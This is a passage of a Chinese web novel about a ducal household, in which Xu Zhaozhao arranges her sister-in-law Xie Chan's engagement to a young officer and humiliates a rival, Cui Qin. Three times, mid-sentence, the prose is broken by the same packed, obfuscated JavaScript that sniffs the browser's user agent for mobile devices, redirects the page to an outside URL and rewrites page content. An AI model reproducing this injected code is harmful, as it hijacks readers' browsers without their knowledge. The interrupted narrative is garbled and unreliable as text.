这样的大礼,谢家不能不收,不是谢家贪权,而是因为这是崔家做出来的让步,是崔家给的台阶,若是谢家不接,而执意闹大,那就意味着彻底地得罪了崔家。 朝堂之上,再强大的官员,也不会愿意多树敌的。 除非是孤臣,一心只为陛下而冲锋陷阵者。 但,谢家,显然不是孤臣。 许昭昭心里是不舒服的,但是再怎么不舒服,她也改变不了这样的一个事实。 再强势的女子,一旦涉及家族利益,涉及朝堂,她所有的一切,都必须为此让步,甚至于,家中的儿郎也是一样。 许昭昭叹气,谢婵受了委屈,可是谢啸威得了好处,崔家给了台阶,还能如何呢? 崔家人心里高兴吗? 或许那一两个的背后推手是高兴的,但是真正的崔家掌权人,必然是愤怒的。 因为崔琴的下嫁,意味着他们崔氏的利益被人撼动,也意味着崔家内里已然不是铁壁一块,已经有人开始凿、挖、捶、打了。 所以,谢、宋、崔三家,只怕都成了输家。 而宋三郎,现在高兴,但日后定然会吃苦头的。 崔家不会容许有人来挑衅他们的威严的。 崔琴是出嫁女,日后崔家的资源不再向其倾斜,这是再正常不过之事。 说到底,崔玄正是看不上宋三郎这等人的。 现在的宋家欢喜雀跃,也不过就是一场烟花爆燃,等燃尽了,便什么也不会落下。 张盼儿手里头其实也有几个不错的人选,但是她现在不敢提,主要是因为老夫人和于氏、小林氏,都给谢婵准备了几个合适的对象,但是这件事,还得让许昭昭点头,才是顺理成章的。 谁让许昭昭是谢婵的亲嫂嫂呢。 张盼儿前脚刚说了关于退婚的始末,许昭昭后脚就被请到了老夫人这里看画像。 “祖母,这上面所提的几位青年才俊,都各有千秋。祖母可曾给父亲看过?” “还不曾。而且你父亲离京多年,对于这些少年郎的了解也有限。” 许昭昭点头:“那回头我再问问三郎的意思?三郎是六妹妹的兄长,也是希望她能好。只要是努力上进,且人品端正的,我相信三郎都不会为难。” 这话说得漂亮,而且也将自己的态度摆出来,最起码这郎君得是人品没问题才行,家境好赖,这都不是问题。 老夫人对她的这个态度还是很满意的。 许昭昭选出来几个她以为还不错的人选,然后晚上让谢铮翻看。 “家世上来说,没必要太较真。她们两个是女子,性子又都偏柔一些,还是要远家世简单的,人品无忧的才好。” “好。” 许昭昭也是同样的看法。 最终谢铮满意的其实没几个,但就算是他满意了,等到正式相看,也要人家地方满意才行。 所以,这几位和谢婵的婚事,未必能成。 许昭昭推了谢铮一下:“你在御前当差,又是武将出身,你身边就没有什么信得过而且家世简单的人选吗?” 谢铮还真就开始闷头苦想了。 “还真有一个合适的。” 许昭昭眼睛都亮了,立马靠过来:“快说说。” “此人名叫郑拓,原也是官宦子弟,只是家中祖父祖母偏心,所以早早地将郑拓的父亲分出来单过。后来郑拓的父亲早逝,母亲积忧成疾,没过两年也去了。家中就余郑拓和姐姐郑宝儿,那会儿郑拓才十二三吧,后来为了谋求生计,便入了军营。” 听起来,好像还是个小可怜。 “他祖父是?” “他祖父也算不得什么大官,他家就是云阳县的,不过他的姐姐早就嫁人了,一直也在为了郑拓的婚事头疼。郑拓的姐夫,你兴许还认识。” “嗯?” 谢铮哈哈一笑:“郑宝儿嫁给了顾二郎,这顾二郎虽是庶子,但是因为顾家子嗣不丰,所以在家中也算是很得看重。最重要的是,郑拓此人年纪虽然不大,但是做事漂亮干脆,而且此次北征,也是立下大功,被圣上封勋骁骑尉,如今的正职是左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382314|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右监六校尉。可以说是年轻有为。” 大兴置勋官十二转,其四转为骁骑尉,当于正六品。 而左右监门校尉是从六品上,也就是说,郑拓一人领着两份俸禄。 而且郑拓此人还年轻,如今才十八,日后建功立业的机会多着呢! 许昭昭相信谢铮的眼光,既然他说不错,那必然就是真的不错。 “若是有机会,可否将人带入府中见见?” 谢铮有些意外:“我这么随口一说,你便想要见见了?不打算再去打听一下吗?” “你的眼光错不了,既然你都夸赞的人,我也觉得不错。关键是这郑拓上无父母了,日后咱们六妹妹嫁过去也不会被婆母苛待,一进门便当家做主,还有比这个更爽快的日子吗?” 谢铮低笑两声:“那怎么不见你想当家做主?” 许昭昭白他一眼:“那能一样吗?我现在就做着咱们长房的主便好。偌大的国公府,这事情可太多了,**心不过来。” 谢铮也没戳穿她,分明就是她想躲懒,哪里是操心不过来? 许昭昭又想到了郑拓的官职。 左右监门校尉主要负责掌管宫禁殿门的守卫工作,保障宫廷的安全和秩序,防止未经许可的人员进入重要宫殿区域。 看似这官职不高,但是责任很重。 不懂这里面弯弯绕的人,可能就觉得他不过就是个守大门的,有什么前途可言? 可实际上,这里头的门道可太多了。 他们要是想着往外递消息,又快又准。 而且这个位置,想要立功也不难。 若是两人真成了,日后有国公爷和谢铮提携,他自己再争气一些,这郑拓加官进爵的机会多着呢! 而且郑拓的姐姐嫁入顾家了,也就是顾东阳的儿媳妇,那要是这么说来,郑家的家世尚可,而且郑父过世时,已经官至正五品,所以,身份上还是可以的。 但眼下,许昭昭还得去问问谢婵的意思。 毕竟跟宋三郎比起来,这个郑拓的家境好像是过于简单了些。 第338章 嫁人了也是谢家的姑娘 许昭昭没急着跟谢婵说,而是先命人将贾氏叫过来了。 “奴婢给世子夫人请安。” “快免了,坐吧。” “谢世子夫人。” 许昭昭看她颤颤微微坐了,屁.股也不过就是挨着那椅子三分之一的位置都不到,可见是个胆小又守规矩的。 “贾姨娘不必紧张,今日找你过来,是为了商量一下六妹妹的婚事。” 贾氏立马抬头,眼底带有几分惊异之色:“六姑娘的婚事,自然该由世子夫人做主。” 许昭昭笑笑:“先前祖母和二婶婶那里给我看了不少画像,也让六妹妹看过,前两日我也让世子看了。世子对这些人都不太满意。有些郎君看似出身大族,但是实际上本人却是毫无建树,空有一张皮囊。 咱们国公府的小姐嫁人,要看得长远,总不能真嫁给一个纨绔子弟,日后夜夜抹泪伤心吧?” “世子夫人说的是。” “世子倒是推荐了一个人选,以前在他手底下做事,为人老实忠厚,而且勇武非常。我跟世子打听了一下,如今这位郑郎君年方十八,已被封骁骑尉,如今正在宫里头当差,是从六品的武将。 至于其相貌,按世子所说,就是皮肤稍黑了一些,个子高,身子骨也壮实。只是唯有一点不足,便是此人父母早逝,幼年时,曾多靠其姐姐拉拔。如今他姐姐是顾府的二儿媳,他自己也算是小有所成。 哦,对了,他祖籍云阳县,离着咱们倒也不算是太远。不过如今这姐弟二人都在京城生活,我听闻这位郑郎君还在永宁坊也置了家业。” 说到此处,许昭昭上半身微微前倾,声音略低了几分:“据三郎说,这位郑校尉日后前途不可限量。不仅有勇,更有谋。日后晋封大将军,也不过是早晚之事。” 许昭昭这样说,其实多少有点儿诱惑的嫌疑。 她主要是担心贾氏不满意。 虽说贾氏只是一房小妾,但终归是谢婵的生母,许昭昭还是要方方面面都考虑到的。 贾氏没有意见,只说一切由世子夫人做主就好。 其实贾氏是心动的。 这边许昭昭去找老夫人禀报此事,贾氏就和谢婵一起说话。 “我倒觉得世子夫人选的这位郑郎君不错,比起你先前看的那几位世家子的确是要更有上进心,前途上也更广阔一些。” 贾氏话落,又拉住女儿的手,略有几分感慨:“我只是一介妇人,若非是当年夫人提拔,我也不可能成为衣食无忧的贾姨娘,更不可能生下你。我没有什么见识,认的那些字,还是夫人在世上教的。 婵儿,我觉得世子和世子夫人都是好人,他们也是一心为你打算。这样的人家,家世简单,你嫁过去便当家作主,家中只有你一位主母,上面没有婆母需要孝敬,下面也没有不长眼的妯娌小姑,这些都是好事。 你性子软,若你有世子夫人三分的强势,我也不会太担心你。最重要的是,我听出来了,世子很中意这位郑校尉,若是你们二人定下婚事,日后谢家必然会扶持他。我这么说,你可明白?” 谢婵人还是懵的。 此时满面羞红,一时间也不知道应该怎么跟姨娘说。 她对于未来夫婿的人选,其实是真没有什么想法,这种事情,也不可能由她自己做主。 但是嫂嫂还是让人先过来问问她的意思,这已经是给了她足够的尊重。 “我都听嫂嫂的。” 贾氏满意地点点头:“这就对了!世子夫人的眼光必然是不错的。你看看她为侯府的那两位堂妹选定的婚事,哪一桩不是被人们津津乐道?” 谢婵瞪眼:“三嫂选的?” “可不是嘛!” 贾氏将许婷婷和许婉婉的事情都说了一遍。 “外人只以为这是那位许夫人和二夫人一起商议的,实际上,都是世子夫人一手促成的。两位庶出的堂妹,都有了嫡女的身份,而且一个嫁状元郎,一个嫁年少有为的小将军。啧啧,就冲这个,谁不说一句世子夫人的眼光有多毒辣!” 谢婵也觉得这位嫂嫂当真是好厉害。 母女俩再仔细一琢磨,状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393514|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元郎是寒门出身,没有什么背景,而方家那位的父亲方大壮,自己也就是个农民出身,后来入伍后才一步步地走到今天这个位置。 所以说,女子嫁人,最重要的还是要看郎君本人是否有前程,而不是看其家族多厉害! 要按贾氏的说法,这个郑郎君可比宋三郎要厉害多了! 宋三郎无非就是一个宋家的嫡子,但是一无官阶,二无成名的书画诗赋,三未曾入科举,所以他和那位郑拓,还真地是完全没有可比性。 一人一个想法。 老夫人和于氏都觉得这郑拓的出身低了些。 毕竟无父无母,而且其祖父叔伯又与他不亲近,日后没有族亲照应,总归是有些不妥。 “祖母,二婶婶,咱们换个角度来看。郑拓本家势微,尤其是他在族中不得看重,甚至是还屡次被其祖父嫌弃。这等人若是日后有咱们谢家扶持,心中最感激的,自然还是谢家。 另外,他无父无母,仅有的长姐也已嫁人为妇,那么,咱们的六姑娘嫁过去便是一府主母,不必去服侍那位偏心的祖母以及婶娘们,关上门来过自己的小日子,岂不是舒适得多?” 这话在理。 老夫人一时间也拿不定主意。 于氏倒觉得这个许昭昭的眼光够毒辣的。 为何不从大家族中为其选一位夫婿呢? 于氏这想样的,也便这样问了。 “二婶婶,不是我看低了咱们六姑娘,说到底,她是庶出的姑娘。门第太高的人家,看不上她。可门第太低的,咱们也瞧不上。而且就算是有些合适的勋贵子弟,但实在是不像有出息的。 六妹妹嫁人为妇,日后哪怕出了谢家大门,也仍然是我们谢家的姑娘,难不成日后她夫君不得志,咱们就不认她了?” 于氏皱眉:“这不能!” “是呀,既然如此,那咱们为其选夫婿的时候,便更要只看重这个人的能力和品行,而非其家世。就好比以前的那个宋三郎,就算是背后有位宋将军撑腰又如何?宋家的资源,会向其倾斜吗?” 第339章 喜闻乐见 许昭昭这话,引得二人开始好好思索。 宋家的资源原本就没多少,尤其是这几年,陛下分明就没有再启用宋将军的意思,这次北征,多少人都从中捞到了功劳,可偏偏宋家,从宋将军到他的子侄,没有一个是被调派至战场上的。 这就很说明问题了。 若不然,宋家也不会紧巴巴地抓着崔家不放。 崔家与皇室的关系紧密,尤其是永安帝对两位表兄仍然十分信重,届时由他们二人帮着举荐一二,兴许能让陛下改变对宋家的态度。 这才是宋将军真正想要的。 最终,几方都同意,谢啸林也觉得那个郑拓不错,主要是他是亲眼看到过郑拓在战场上的表现的,所以对这个年轻人也算是寄以厚望。 谢铮寻了个机会,将人带到府里来。 为了不惊动太多人,所以谢铮只说是带他去给老夫人请个安,这也是礼数。 郑拓没想那么多,登门拜访,去给长辈请安是理所当然的,自然就跟着一起去了。 结果到了地方才发现,除了两位长辈之外,还有一位年轻的美妇人,看样子不过十五六,但因为做了妇人打扮,郑拓才意识到这位可能就是大名鼎鼎的安乐县主。 逐一请安后,老夫人便让他坐下说说话。 许昭昭和谢铮自然是坐在一处,两人的位置几乎就是紧挨着。 “数次听夫君提及方校尉勇武非常,今日一见,没想到方校尉还这般年轻,果然是英雄出少年呐!” 郑拓脸瞬间就红了,这位安乐县主不仅长得好看,而且还这么会说话,他都不敢抬头了。 “方校尉家中还有什么人呐?可成亲了?” 郑拓一一答了,直到快把自己的家底都交代出来了,才意识到自己可能是在被长辈们相看。 最后离开的时候,一人高的屏风后面走出来一位姑娘,相貌秀美,举止端庄,眉眼间皆是那种青涩的少女风情。 郑拓一时间看呆了。 眼前这姑娘虽然不及安乐县主貌美,但是一双眉眼生得极其好看,尤其是她看自己那一眼的时候,郑拓觉得自己的心底里头就像是平静的湖面,被人狠狠地砸下了一块石头,涟漪半晌都未消。 直到郑拓离开国公府,他仍然恍恍惚惚的。 这还用问吗? 就郑拓这个表现,便足以说明,他对谢婵是满意的。 不过,这才只是第一面,一见钟情,也不过就是见色起意而已。 所以,许昭昭又给顾家的郑宝儿下了贴子,请她过府赏花。 收到贴子的就只有郑宝儿一人,顾东阳得知后,也是一头雾水。 他与这位安乐县主打交道虽然不多,但深知这是一位走一步看三步的主儿。 无缘无故的,又怎会来邀请郑宝儿? 难道是为了和顾家攀关系? 可是没必要呀! 而且顾东阳自认虽然官职尚可,但仍然是比不过底蕴丰厚的谢家的。 所以,顾东阳觉得还是可以再看看。 以不变,应万变。 郑宝儿自嫁人后,便极少出门应酬,因为她嫁的是二郎,而且还是庶子,所以能避开一些事她就避开,尽量低调行事,不与几位妯娌起争执。 可没想到,如今收到安乐县主贴子的,就独独她一个。 郑宝儿还真怕自己是闯下什么祸事了而不自知,万一县主是叫她过去问罪呢? 结果当天今晚郑拓就来了。 郑拓得知姐姐收到了县主的贴子,立马就开始嘿嘿傻乐。 郑宝儿吓一跳:“阿拓,你没事吧?怎么突然就傻乎乎的?” 郑拓这才略有几分不好意思道:“那个,姐,可能是好事。” 郑宝儿瞪大眼睛:“你说清楚了!” 等一盏茶之后,郑宝儿整个人都有些愣愣的,听这意思,自己弟弟被谢家的姑娘看上了? “真的假的?” 郑拓红着脸,语气有些不确定:“应该是吧,我觉得有戏。” 郑宝儿被请到了锦绣园,主要是她和许昭昭也算平辈,二人先简单地交换一下意见,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393515|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是郑宝儿不同意,那也不算是正式议亲,到时候传出去,也不会影响到谢婵的名声。 “这是大喜事呀!我那个弟弟,也就是生了一个大高个子,但是打小就坐不住,不爱读书,谢六姑娘不嫌弃我弟弟是个武夫,我都要谢天谢地了!” 郑宝儿这话就是在故意捧着谢婵,也是因为她对于这门亲事是喜闻乐见的。 许昭昭明白她的意思后,便自然而然地提到了郑家长辈的事。 郑宝儿脸上的笑容淡了下来:“我父母早逝,在弟弟年幼时,我们一家子便被祖父分出来了,族里头的几位长辈们做的见证,分家文书也都还好好地保存着。 另外,我父亲过世后,祖母觉得我们母子三人是累赘,也没少往外放话,总之就是不想再跟我们有什么来往。反正户籍上,也不是一户人家了,人家不愿意我们登门,我们也只能认下。” 这些都是许昭昭随意去打听,便能查得到的。 所以郑宝儿才没有隐瞒。 这种事,说出来是家丑,但郑宝儿不觉得是自己家理亏,怎么看都是长辈不慈。 但是如今自曝其短,心里头还是有几分不如意。 “郑姐姐是个爽利性子,我就喜欢跟你这样的人打交道,没有那么多的弯弯绕,彼此都能省心一些。” “世子夫人不嫌弃我这人没有多少书香气就好。” “郑姐姐不必自谦,若是按你的说法,这门婚事,姐姐与郑校尉答应,便算是许下了?” 郑宝儿点头:“正是如此。” “也好。那就劳烦郑姐姐多费心了。不管怎么说,我们家这边是姑娘,还得郑校尉那里主动一些才是。” 郑宝儿明白,这是暗示让郑拓请媒人上门提亲呢。 “您说的是这个理儿,回头我就帮着张罗。对了,我这弟弟如今的住处是在永宁坊,家中除了一位老管家和两位旧仆之外,就是有他自己收的一个随从,平时就是跑跑腿。” 这是在暗示郑拓平时洁身自好,家中连个丫环都没有,绝对让谢六姑娘放心。 第340章 挥金如土 郑拓到护国公府提亲的消息,很快就传遍了整个京城。 关于这门亲事,有人觉得合适,也有人觉得郑拓这是攀高枝儿了,还有人觉得谢家也是不挑,怎么能把姑娘嫁给一个无父无母之人呢? 总之,关于二人婚事的各种说法,那是传得沸沸扬扬。 甚至有人说是谢家不满谢婵与宋三郎退婚一事,所以才会故意给她选了这么一门婚事。 但是事实如何,只有当事双方才知道。 宋三郎和崔琴自然也都知道了这件事,宋三郎还挺自信,觉得是因为自己退亲了,这谢婵不好再说亲,才会着急嫁人。 而崔琴则不同。 崔琴再怎么说也是接受过各方面的教导的,她知道,退亲一事上,是她和宋三郎做的不光彩,从而连累了这位谢六姑娘。 可是如今这位谢六姑娘要嫁给一个无父无母的孤儿,这岂非是自甘堕落? 就算是郑拓如今是从六品的官身又如何? 不过就是一个看大门的,有什么前途可言? 崔琴心中有愧,便总想着寻个机会见一见这位谢六姑娘,也好好劝劝她,不能因为一时之气,便匆忙嫁人。 可崔、谢两家的关系,如今其实是颇为尴尬的。 崔琴抢了谢婵的未婚夫,如今还想着去见谢婵,这更是难上加难。 尤其是崔琴和宋三郎的婚事定下之后,崔家便对她看得格外严,不容许她再随便出府了。 谢婵这里倒是还相对自由一些,国公府不约束她出门,但是无论远近,都要带足了人手,不管别人说她摆架子也好,还是说她出行奢华也好,总之,就是一切都以她的安危为主。 这日许昭昭带着谢婵一起去东市的美人妆铺子里选东西,许昭昭是幕后东家,自然是被请去雅间里坐着,然后命底下的人往屋里送。 其实,若是平时选这类的东西,都是由美人妆的掌柜直接送过去,哪里需要她们亲自过来走一趟? 不过是因为许昭昭顺带着看看铺子生意如何,正巧带着谢婵谢娟姐妹二人出来透透气罢了。 好歹也是她们的嫂嫂,适当地送些东西,更符合一个好嫂嫂的人设。 “禀县主,这一批都是近来的新首饰,最左侧的这些玉颜膏等都是最新做出来的,而且都是一整套,连带着胭脂水粉都齐全了。” “不错,我算算,可能匀出来五套?” “回县主,可以。” “那好,送五套到国公府,交到丁香手中便是。” “是,县主。” “这些首饰的话,我瞧着有些单薄了些,可有再华丽一些的?哦,也不对,应该说是可有一些喜庆的首饰?” 魏娘子立马闻弦而知雅意,笑问:“可是这位姑娘佩戴?” “嗯,对。” “若是这位姑娘的话,店里的确是有几套华丽但又不会太张扬的首饰,可要拿过来给您过目?” “送过来吧,多送几套,也好让她好好选。” “是,县主。” 魏娘子再回来的时候,身后跟着两位婢女,各捧着一个托盘,每个托盘上都放着两个首饰匣子。 “县主请看,这边的两套都是项链、手镯、耳饰、戒指,选用的都是上好的红宝石,再由有经验的老师傅精工细磨打造出来的。 这边的两套,则是完整的头面,钗、簪、钿、步摇等是齐全的,连带着耳饰、项链等也都在其中。” 魏娘子最后介绍的那两款,才算是完整的头面。 “拿过来瞧瞧。” 许昭昭话落,又冲谢婵招招手:“你也过来看看,若是中意,便命人送到府上去,待你婚期定下后,便当做嫁妆一并带过去。” 谢婵一时间有些受宠若惊,她只是一介庶女,如何敢肖想如此奢华昂贵的首饰? “嫂嫂,这些也太贵重了些。” “无妨,都是自家产业,除去正常的溢价外,其实成本也不算是多高。” 一旁的魏娘子只是笑笑,不说话,心里却是有苦难言。 成本也不低呀,主子,您可不能睁眼说瞎话! “这,这也太贵重了。” “无妨。我瞧着这几套都不错,不过那两套还是太单薄了些,就这两套完整的头面吧,一会儿也命人直接送到我的马车上。” “是,县主。” 谢婵一脸震惊,嘴唇都在抖:“嫂嫂?” “这两套都给你做嫁妆,一套当做是父亲给你的添妆,一套就当是你兄长的添妆。你再去看看其它可有中意的?” 谢婵摇头,哪儿还敢再看呀,就这两套首饰,她觉得是她一辈子都买不起的那种。 三嫂花钱这个速度,也太吓人了。 挥金如土,也不过如此了。 谢娟在一旁看得是既惊又羡慕。 若是日后自己成婚,嫂嫂是不是也会这样大方呢? 魏娘子命人下去准备,又小心询问道:“县主选的这两套都十分喜庆,适合喜宴上穿戴,也适合一些重要场合,毕竟六姑娘年轻,就该戴些鲜艳的首饰。” 许昭昭认同:“说的没错。” “禀县主,小的大胆猜测,六姑娘这是喜事近了,除了头面之外,就不打算再选些旁的吗?” 许昭昭挑眉:“直说!” 魏娘子心里打颤,主子还真不好伺候。 “回禀县主,刚刚选的那两套头面可以说是上品,就不再选些平时穿戴的?有时候顺手赏人了,也没那么心疼不是!” 许昭昭点头:“有道理!那就让人再送些不同品类的过来,让她们好好选选。” “是,县主稍候。” 魏娘子明白,今天这两套头面,虽然赚的少一些,但也是赚,毕竟是国公府出钱,又不是主子自掏腰包,怎么可能按成本价? 既然如此,那就多推荐一些,兴许主子买的高兴了,还能再赏她们一些好处呢。 接下来便是买买买,谢婵和谢娟姐妹二人都看傻眼了。 就连普通的银镯子,许昭昭都买了一匣子,这是想要回去在国公府里开间首饰铺子吗? 谢婵一手捂住胸口,也幸亏是嫂嫂自己就是点金能手,否则,怕是兄长还养活不起呢! 第341章 挖坑 崔琴打听到了今日谢婵出门,便立马也换了衣裳出来。 好在今天许昭昭就是打算带着两位妹妹好好地散散心,所以除了买首饰胭脂之外,还特意带她们去京城最大的酒楼里吃饭。 京城最大的酒楼和最好的酒楼,可不是同一家。 最好的酒楼,在平康坊,那里有美人妙舞,还有令人心都软得一榻糊涂的美人小曲儿。 而京城最大的酒楼,则是正儿八经吃饭的地儿。 并不是所有人,都会更喜欢去平康坊的那种酒楼的。 尤其是一些官宦、世家子弟,他们爱惜自己的名声,自然就会珍惜羽毛。 许昭昭带两位姑娘来的,就是这家最大的酒楼,而且这家酒楼还与香飘飘和百果园都有合作。 掌柜的得知安乐县主来了,立马亲自招待,将人请上里面的一处幽静雅院,再命人好酒好菜的伺候着。 虽然掌柜的嘴上说着酒楼请客,但是他和许昭昭都知道,这顿饭的银钱,许昭昭定然会付的。 许昭昭不缺钱,能用钱解决的事儿,都不叫事儿,所以,没必要去承人情。 掌柜的也只是话说得漂亮,他倒是想着让县主给他们这个请客的面子,但是显然,县主不乐意呀。 许昭昭想的很简单,今日白吃了你的酒菜,谁知道明日你是否就会有请托上门了? 许昭昭的这种思维,其实也是典型的上位者思维。 如果是自己的手下置办的产业,那还好说。 可如果不是,那自然就要多加小心。 菜还没有开始上,崔琴便带着丫环找过来了。 许昭昭挑眉,面对一个如此天真又有点自私的姑娘,其实并没有太多好感,不管怎么说,都是她抢走了谢婵的未婚夫。 宋三郎这人就算是不咋地,但是谢婵可以看不上,可以主动退亲,却不可以接受有人从中作梗,从而导致谢婵成了一名被人抛弃的姑娘。 总而言之,这样的名声并不好。 没有哪家姑娘会愿意成为一个被退亲的对象。 崔琴行过礼之后,柔柔弱弱地看向谢婵:“谢六姑娘,之前的事,是我和宋三郎有错在先,但如今我们已经定下婚事,谢六姑娘还当往前看,你出身国公府,又相貌娇美,何故非要嫁给一个莽汉呢?” 听这意思,是看不上郑拓? 许昭昭没说话,反而是侧目看向谢婵,想听听她会怎么说。 崔琴与她,曾经或许也算是熟人,但是如今,就算不是仇人,至少也该形同陌路吧! 所以,崔琴到底是哪儿来的胆子,竟然还到她面前来指手划脚? 谢婵没有暴怒,只是眸底泛着冷光。 “所以崔小姐特意挑了我们准备用膳的时间过来,是想要向我正式地赔礼道歉,还是想要向我示威呢?又或者,你是觉得你崔小姐人美心善,又因为背靠崔家,还可以对我的婚事指指点点了?” 一番话,给崔琴挖了三个坑! 你抢人未婚夫是事实,所以你现在是过来赔礼道歉吗? 如果不道歉,那就是你崔琴没有教养,且有错不敢认;但是如果道歉,那就坐实了崔琴抢人未婚夫的事,一旦传出去,崔家的姑娘们必然声名受损。 而且还有一句是不是来示威的! 第二个坑,便是较为隐晦的那句,正准备用膳,你特意挑了这个时候过来,是故意在安排人跟踪谢婵? 若是如此,你崔琴的目的何在? 谢婵已经重新议亲,崔琴又何必死盯着谢婵不放? 难不成,还打算再对谢婵的新未婚夫人选下手? 第三个坑,便是直接挑明崔琴身为崔氏女,何故来干涉谢家女的婚事? 你是吃饱了撑的没事干,还是就单纯只盯上谢婵了? 传出去,风评被害的,一定是崔琴。 崔琴好歹是嫡女,而谢婵只是庶女。 怎么看,都是崔琴在故意针对。 也是崔琴的反应慢一拍,又或者是真地太天真了,所以竟然真的朝着谢婵福身。 “抱歉,是我的错,虽然我与宋三郎情投意合,但终归是伤害到了谢姑娘,我向你道歉。只是我并非故意指责你的婚事,我是为你好,你是名门千金,怎可自甘堕落,与一武夫结为连理?” 这话可是得罪了当朝所有的武将! 与武夫议亲,就是自甘随落了? 许昭昭一个没忍住,笑出声来了。 这个崔琴,都不必给她挖坑,自己就能把自己给埋得严严实实的。 她都能想像得到,此话传出去,崔家主要被气得吐血了。 此处虽然安静,但也并非没有旁人在。 这处雅院共三间屋舍招待贵客,许昭昭她们所占用的是当中的一间,左右两间此时都有贵客在。 只不过,崔琴来得匆忙,又一心惦记着谢婵的婚事,所以一时间没有对外面的事多加关注。 而两侧的屋舍,其实就因为得知中间有安乐县主在用膳,所以都刻意地压低了自己的声音。 这下子,可不就听得一出好戏? “我的婚事,就不劳崔姑娘费心了。你还是回去看好你的宋三郎便是,也省得总有心思再去盯着其它郎君。” 这话说得可是太直接了。 崔琴一时间脸色煞白,似乎是受不住这等打击,娇弱的身体竟然还摇摇欲坠起来。 许昭昭眯眼:“扶上你家小姐,赶紧退下!” 许昭昭到底是县主,而且还是世子夫人,她一威严起来,崔琴也怕。 主仆二人,宛若是丧家之犬一般,灰溜溜地走了。 许昭昭和两位妹妹一起简单地用过饭,便准备回府。 走之前,许昭昭将紫苏叫过来,吩咐几句后,这才带着她们离开。 她一走,左右两侧的屋舍也都热闹起来,很快,紫苏带着人和酒分别到了两处雅间。 “我们主子吩咐过了,适才打扰了诸位的雅兴,特意送上一坛状元酒给几位赔罪。今日崔姑娘之言行,着实过分了些,但县主相信这并非是崔家人有意为之,应该是崔姑娘的一厢情愿,还请诸位莫要外传,免得再累及崔姑娘名声。” 第342章 顺水推舟 大家都是体面人,自然不会往外多嘴。 但这件事,还是在几天后,在京城传开了。 传言不一,但最终是将那天的对话都一字不落地传出去了,这其中,也包括许昭昭命人给另外两间雅室的客人们送酒并且提醒的话。 坊间传得最多的,但是崔氏女不知廉耻,勾引别人的未婚夫。 当然,除此之外,还有人说安乐县主也不过尔尔,面对势大的崔家,也同样是要低下头来。 崔家主命人查了几天后,最终得出结果,是酒楼的一个跑堂,再加上两位胡商给传出去的。 至于胡商,酒楼里一天来来往往那么多的宾客,如何查得出来到底是哪一个? 倒是抓住了那个跑堂的,结果没想到,找到时,那个跑堂的被人痛揍一顿,而且腿也被打折了,这下子,崔家真是有理也说不清了。 更何况,崔家原本就没有理。 那个小二原本以为是崔家人对他动手的,见到崔家人时还不停地磕头认错,说以后再也不敢了。 这种事情,如何能闹大? 最终,崔冲命人将他放了,同时还送上两贯钱让他就医,如此,才算是平下一些谣言。 崔琴的名声毁了,但是崔家的名声不能毁。 有崔家人出手,这件事还是很快就被人压下去,而且还故意放出另外一种流言,只说是崔琴在外游玩时,幸得宋三郎所救,二人虽无私情,但到底是身体有了接触,宋三郎不想败坏崔琴的名声,这才主动提及退婚。 总之,就是把锅往意外、无意这上面引。 至于有多少人信,那就不得而知了。 崔玄正其实有怀疑过是不是许昭昭故意设下的套子。 但是他也的的确确地证实了,许昭昭带着两位小姑子出门,又是买首饰,又是看一些稀罕玩意儿,最后才去的那家酒楼,而这些,都是崔琴命人查到之后,自己主动送上门的。 所以,这跟许昭昭有什么关系? 至于后面的流言,崔玄正和崔冲等人都不信和许昭昭有关。 理由也很简单,因为许昭昭自己也被流言所伤,比如说她虽是县主,但到底是比不过底蕴丰厚的崔家,或者是说她就算是县主,也得向崔家低头等等。 更有甚者,说许昭昭胆小怕事,明明是崔家欺人太甚,可是她却想着息事宁人,说她性子太软,日后定然撑不起护国公府的门户来等等。 这等的流言都出来了,崔家人是脑子有坑,才会怀疑这一切是许昭昭做的。 但事实上,这事儿还真是许昭昭让人干的。 只不过做的比较隐晦,而且关于自己的一些流言,那些不轻不重的,自然是她安排人故意散播的。 而后来有些不太好听的流言,许昭昭不用查,也知道是谁做的。 她也不急,甚至还故意给对方行了方便,好让那位自以为是地以为一切都在掌控之中。 更因此而给对方一个许昭昭很好对付的错觉。 果然,有的人很快就飘了呀。 丁香有些生气:“主子,咱们就由着她这样胡做非为?” “放心吧,闹不起什么大乱子来。而且这股子流言,虽说不好听,却帮了我的大忙。” 丁香不解,而许昭昭也没有解释的必要。 总不能说,她之前的名声太好了,又太能赚钱了。 如果再这样下去,难保不会惹人生疑。 如此刚刚好。 有些不好的流言作祟,至少可以让上位者对她更放心。 没有哪一位上位者会喜欢完美的世子或者是下属。 没有短处、没有缺陷,这样的人,不好掌控呀。 